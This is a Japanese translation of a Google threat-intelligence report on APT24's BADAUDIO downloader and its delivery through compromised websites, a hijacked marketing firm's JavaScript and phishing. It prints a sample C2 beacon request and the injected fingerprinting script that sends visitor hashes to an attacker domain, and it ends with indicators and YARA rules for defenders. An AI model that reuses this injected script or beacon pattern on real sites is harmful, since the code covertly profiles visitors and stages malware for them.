APT24のマルチベクター攻撃への転換

執筆者: Harsh Parashar、Tierra Duncan、Dan Perez


Google Threat Intelligence Group(GTIG)は、中華人民共和国(PRC)に関連する脅威アクターであるAPT24による、長期にわたり適応的に展開されているサイバー諜報キャンペーンを追跡しています。3年にわたって、APT24はBADAUDIOを展開してきました。BADAUDIOは、被害者ネットワークへの永続的なアクセスを確立するために使用される、高度に難読化された第1段階のダウンローダーです。

従来の作戦では、正規Webサイトを侵害するために広範な戦略的Web侵害に依存していましたが、APT24は最近、台湾の組織を標的とする、より高度なベクターの利用へと転換しました。これには、サプライチェーン攻撃を実行するための地域デジタルマーケティング企業の繰り返しの侵害や、標的型フィッシングキャンペーンの使用が含まれます。

本レポートでは、BADAUDIOマルウェアの技術分析を提供し、2022年から現在に至るまでのAPT24の配信メカニズムの進化を詳述するとともに、防御側がこの持続的な脅威を検知・緩和するのに役立つ実用的なインテリジェンスを提示します。

深刻な脅威アクターに対抗する取り組みの一環として、GTIGは研究成果を用いてGoogleの製品とユーザーの安全性・セキュリティを向上させています。発見次第、特定されたすべてのWebサイト、ドメイン、ファイルは、主要ブラウザ全体のWebユーザーを保護するため、Safe Browsingのブロックリストに追加されます。また、侵害されたサイトに対して技術的詳細を含む一連の被害者通知も実施し、影響を受けた組織がサイトを保護し、将来の感染を防止できるようにしました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig1.max-1600x1600.png

図1: BADAUDIOキャンペーンの概要

ペイロード分析: BADAUDIOとCobalt Strike Beaconの統合

BADAUDIOマルウェアはC++で書かれたカスタムの第1段階ダウンローダーで、ハードコードされたコマンド&コントロール(C2)サーバーからAESで暗号化されたペイロードをダウンロード、復号、実行します。このマルウェアは基本的なシステム情報を収集し、ハードコードされたAESキーで暗号化して、ペイロード取得のためのGETリクエストにおけるCookie値として送信します。あるケースではCobalt Strike Beaconと特定されたペイロードが同じキーで復号され、メモリ上で実行されます。

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache
--------------------------
GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

図2: BADAUDIOのコードサンプル

このマルウェアは、制御フロー・フラット化(control flow flattening)という高度な難読化手法で設計されています。これは、プログラム本来の自然で構造化されたロジックを体系的に解体する手法です。この方法では、直線的なコードを、中央の「ディスパッチャ」と状態変数によって制御される、互いに切り離されたブロック群に置き換えます。その結果、解析者は各実行パスを手作業で追跡せざるを得なくなり、自動・手動の双方のリバースエンジニアリング作業が大幅に阻害されます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig3.max-2100x2100.png

図3: 制御フロー・フラット化によりBADAUDIOマルウェアは強く難読化されている(画像を拡大

BADAUDIOは通常、正規アプリケーション経由で実行するためにDLL検索順序ハイジャック(MITRE ATT&CK T1574.001)を悪用する悪意のあるダイナミックリンクライブラリ(DLL)として現れます。最近観測された亜種は、より洗練された実行チェーンを示しています。すなわち、BADAUDIO DLLに加えてVBS、BAT、LNKファイルを含む暗号化アーカイブです。 

これらの補助ファイルは、BADAUDIO DLLと正規の実行ファイルをユーザーディレクトリに配置する処理を自動化し、正規実行ファイルのスタートアップエントリを通じて永続化を確立し、DLLサイドローディングをトリガーします。この実行と永続化の多層的アプローチにより、侵害の直接的な痕跡(IOC)を最小化します。

実行されると、BADAUDIOは基本的なホスト情報(ホスト名、ユーザー名、システムアーキテクチャ)を収集します。収集データはハッシュ化され、C2リクエストヘッダー内のCookieパラメータに埋め込まれます。この手法は、ビーコン送信と侵害システムの識別を、目立たないながらも効果的に行う方法を提供し、ネットワークベースの検知を困難にします。

これらのケースの1つでは、ハードコードされたAESキーで復号される後続ペイロードがCobalt Strike Beaconであることが確認されています。ただし、すべての事例でCobalt Strikeが存在することが確認されているわけではありません。Beaconペイロードには比較的ユニークなウォーターマークが含まれており、これは別のAPT24キャンペーンで以前に観測されたものです(侵害指標のセクションで共有)。Cobalt Strikeのウォーターマークは、特定の「CobaltStrike.auth」ファイルから生成され、それに紐づく固有値です。この値は、すべてのBEACONステージャでは末尾4バイトとして、完全なバックドアBEACONサンプルでは埋め込み設定内に埋め込まれます。

キャンペーン概要: BADAUDIOの配信は進化する

3年にわたり、APT24は戦略的Web侵害、台湾の地域デジタルマーケティング企業に対する繰り返しのサプライチェーン侵害、スピアフィッシングなど、さまざまな手法を用いてBADAUDIOを配信しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig4.max-1700x1700.jpg

図4: BADAUDIOキャンペーンの概要

公開された戦略的Web侵害キャンペーン

2022年11月以降、地域の産業関連からレジャー用品まで幅広いテーマにまたがる20以上の侵害Webサイトを観測しました。これは初期アクセスにおいて機会主義的なアプローチを示唆する一方で、真の標的化はフィンガープリンティングによって攻撃者が特定した訪問者に対して選択的に実行されていました。正規Webサイトは、悪意のあるJavaScriptペイロードの注入によって武器化されました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig5.max-1600x1600.png

図5: BADAUDIOマルウェアを配信するための戦略的Web侵害の攻撃フロー

このスクリプトは初期段階の標的化レイヤーを示し、macOS、iOS、Android、および複数のMicrosoft Internet Explorer/Edgeブラウザ亜種を明示的に除外して、Windowsシステムのみに焦点を当てていました。この選別は、攻撃者が特定(おそらく高価値)の被害者プロファイルに最適化するため、直ちに対象範囲を絞り込んでいることを示唆します。

注入されたJavaScriptは、FingerprintJSライブラリを用いて一意のブラウザフィンガープリントを生成することで、重要な偵察機能を果たしました。このフィンガープリントは攻撃者が管理するドメインへのHTTPリクエストで送信され、暗黙の検証メカニズムとして機能しました。検証が成功すると、被害者には偽のポップアップダイアログが提示され、ユーザーにBADAUDIOマルウェアのダウンロードと実行を促すよう巧妙に設計されていました。

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

図6: 戦略的Web侵害キャンペーンで使用された初期の悪意あるフィンガープリンティングJS

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig7.max-1600x1600.png

図7: Chromeを装った攻撃者の偽アップデートのポップアップダイアログの例。標的を誘導してBADAUDIOマルウェアをダウンロード・実行させる

攻撃者はインフラを継続的に切り替えており、新規登録ドメインと、過去に侵害したドメインを組み合わせて使用しています。この戦術を最後に観測したのは2025年9月上旬です。

エスカレーション: 大規模な戦略的Web侵害のためのサプライチェーン侵害 

2024年7月、APT24は台湾の地域デジタルマーケティング企業を侵害しました。これは1,000以上のドメインに影響を及ぼしたサプライチェーン攻撃です。注目すべき点として、この企業は過去1年の間に複数回再侵害を受けており、APT24がこの作戦に粘り強くコミットしていることを示しています。

私たちは、これらの脅威を妨害するための多面的な是正対応を開始しました。改変された悪意あるJavaScriptを特定してブロックするためのカスタムロジックを開発したことに加え、GTIGは個別の侵害Webサイトおよび侵害されたマーケティング企業に対して被害者通知を配布しました。これらの通知には、脅威と元のスクリプトに加えられた改変に関する具体的な詳細が含まれており、影響を受けた組織がサイトを保護し、将来の感染を防止できるようにしました。

サプライチェーン侵害の最初の反復では、APT24は当該企業が提供する広く利用されているJavaScriptライブラリ(MITRE ATT&CK T1195.001)に悪意あるスクリプトを注入し、タイポスクワッティングドメインを用いて正規のコンテンツ配信ネットワーク(CDN)になりすましました。難読化解除されたJavaScriptは、多段階の感染チェーンを明らかにしています:

  • 動的依存関係の読み込み: スクリプトは、存在しない場合に公開CDNから正規のjQueryおよびFingerprintJS2ライブラリ(MITRE ATT&CK T1059.007)を動的に読み込み、多様なWeb環境にわたって一貫した実行を確保します。

  • 多層JS隠蔽: 2025年7月に発見された再侵害の際、攻撃者は悪意あるコードを隠すための追加措置を講じました。高度に難読化されたスクリプト(MITRE ATT&CK T1059)は、ベンダーが配信する悪意ある改変済みJSONファイル内に意図的に配置され、その後、別の侵害されたJavaScriptファイルによって読み込まれ実行されました。この戦術により、最終ペイロードが、通常はコード実行と関連付けられないファイル種別と構造の中に効果的に隠蔽されました。

  • 高度なフィンガープリンティング: FingerprintJS2は、x64hash128のブラウザおよび環境フィンガープリント(MITRE ATT&CK T1082)を生成するために利用されます。x64hash128は、MurmurHash3アルゴリズムによって生成される128ビットのハッシュ値であり、収集したブラウザ特性(画面解像度、インストール済みフォント、GPUの詳細など)からなる大きな入力文字列を処理して、ユーザー端末の一意で一貫した識別子を作成します。

  • 秘匿的なデータ流出とステージング: Base64エンコードされた偵察データ(host、url、useragent、fingerprint、referrer、time、および一意識別子を含む)を送信するPOSTリクエストが、攻撃者のエンドポイント(MITRE ATT&CK T1041)へ送られます。 

  • 適応的なペイロード配信: C2からの応答が成功すると、応答のdataフィールドで提供されたURLから後続スクリプトが動的に読み込まれます。この秘匿されたリダイレクトは、攻撃者のC2ロジックとフィンガープリント評価(MITRE ATT&CK T1105)に応じて、BADAUDIOのランディングページへ誘導します。

  • 目的に合わせた標的化: 2025年6月の侵害では当初、侵害されたサードパーティスクリプトを使用しているWebサイトに関連する固有のWeb ID(特定のドメイン名)に基づく条件付きスクリプト読み込みが用いられました。これは、戦略的Web侵害(MITRE ATT&CK T1189)を単一ドメインに限定する、目的に合わせた標的化を示唆します。しかし8月の10日間は条件が一時的に解除され、スクリプトを使用する1,000ドメインすべてが侵害可能となった後、元の制限が再び適用されました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/watering-hole-apt24-fig8.max-1600x1600.png

図8: BADAUDIOマルウェアを配信するための侵害されたJSサプライチェーン攻撃

標的型フィッシングキャンペーン

より広範なWebベース攻撃を補完する形で、APT24は同時に高度に標的化されたソーシャルエンジニアリングキャンペーンを実施しました。動物保護団体からのメールを装うなどの誘い文句は、ソーシャルエンジニアリングを用いてユーザーの反応を引き出し、攻撃者が管理するドメインからのマルウェア直接ダウンロードへと誘導しました。

別のキャンペーンでは、Google DriveやOneDriveを含む正規のクラウドストレージプラットフォームを悪用し、BADAUDIOを含む暗号化アーカイブを配布しました。Googleはこれらのメッセージをスパムに振り分けることでユーザーを保護し、信頼性の高いサービスをキャンペーンに利用しようとする脅威アクターの試みを妨害しました。

APT24はピクセルトラッキングリンクを含め、メールの開封を確認し、後続の悪用に向けて標的の関心を検証していた可能性があります。広く信頼されるクラウドサービスの活用と明示的なトラッキングという二正面のアプローチにより、効果的でパーソナライズされたキャンペーンを実施する能力が高まります。

見通し

この約3年に及ぶキャンペーンは、APT24の運用能力が継続的に進化していることを示す明確な例であり、PRC関連脅威アクターの高度さを浮き彫りにしています。サプライチェーン侵害、多層的なソーシャルエンジニアリング、正規クラウドサービスの悪用といった高度な手法の使用は、持続的かつ適応的な諜報活動を行う能力を示しています。 

この活動は、GTIGが観測している、PRC関連脅威アクターが検知回避のためにステルス性の高い戦術をますます採用しているという、より広範な傾向に沿うものです。GTIGは、ユーザーと顧客を保護するため、APT24のようなアクターによる継続的な脅威を積極的に監視しています。この取り組みの一環として、Googleは防御を継続的に更新し、本キャンペーンに対して具体的な措置を講じました。

私たちは、認知を高め、この活動を妨害するために、セキュリティコミュニティと調査結果を共有することにコミットしています。戦術と手法の理解が深まることで、脅威ハンティング能力が向上し、業界全体でより強固なユーザー保護につながることを期待しています。

謝辞 

本分析はFLAREの支援なしには実現しませんでした。特に、BADAUDIOの分析および検知に貢献してくれたRay Leong、Jay Gibble、Jon Danielsに感謝します。

侵害指標(IOC)

関連するIOCのGoogle Threat Intelligence(GTI)コレクションは、登録ユーザーが利用できます。

戦略的Web侵害JS

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

戦略的Web侵害 — 改変されたサプライヤーJS

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIOバイナリ

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

戦略的Web侵害 — ステージ2

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

Cobalt Strike Beacon ウォーターマーク

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARAルール

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}
rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}
rule G_APT_DOWNLOADER_BADAUDIO_3 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $s1 = "SystemFunction036"
        $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
        $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
        $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
        $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
        $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
        $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
        $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
    condition:
        all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
}
rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}
投稿先

翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/apt24-pivot-to-multi-vector-attacks/

ソース: cloud.google.com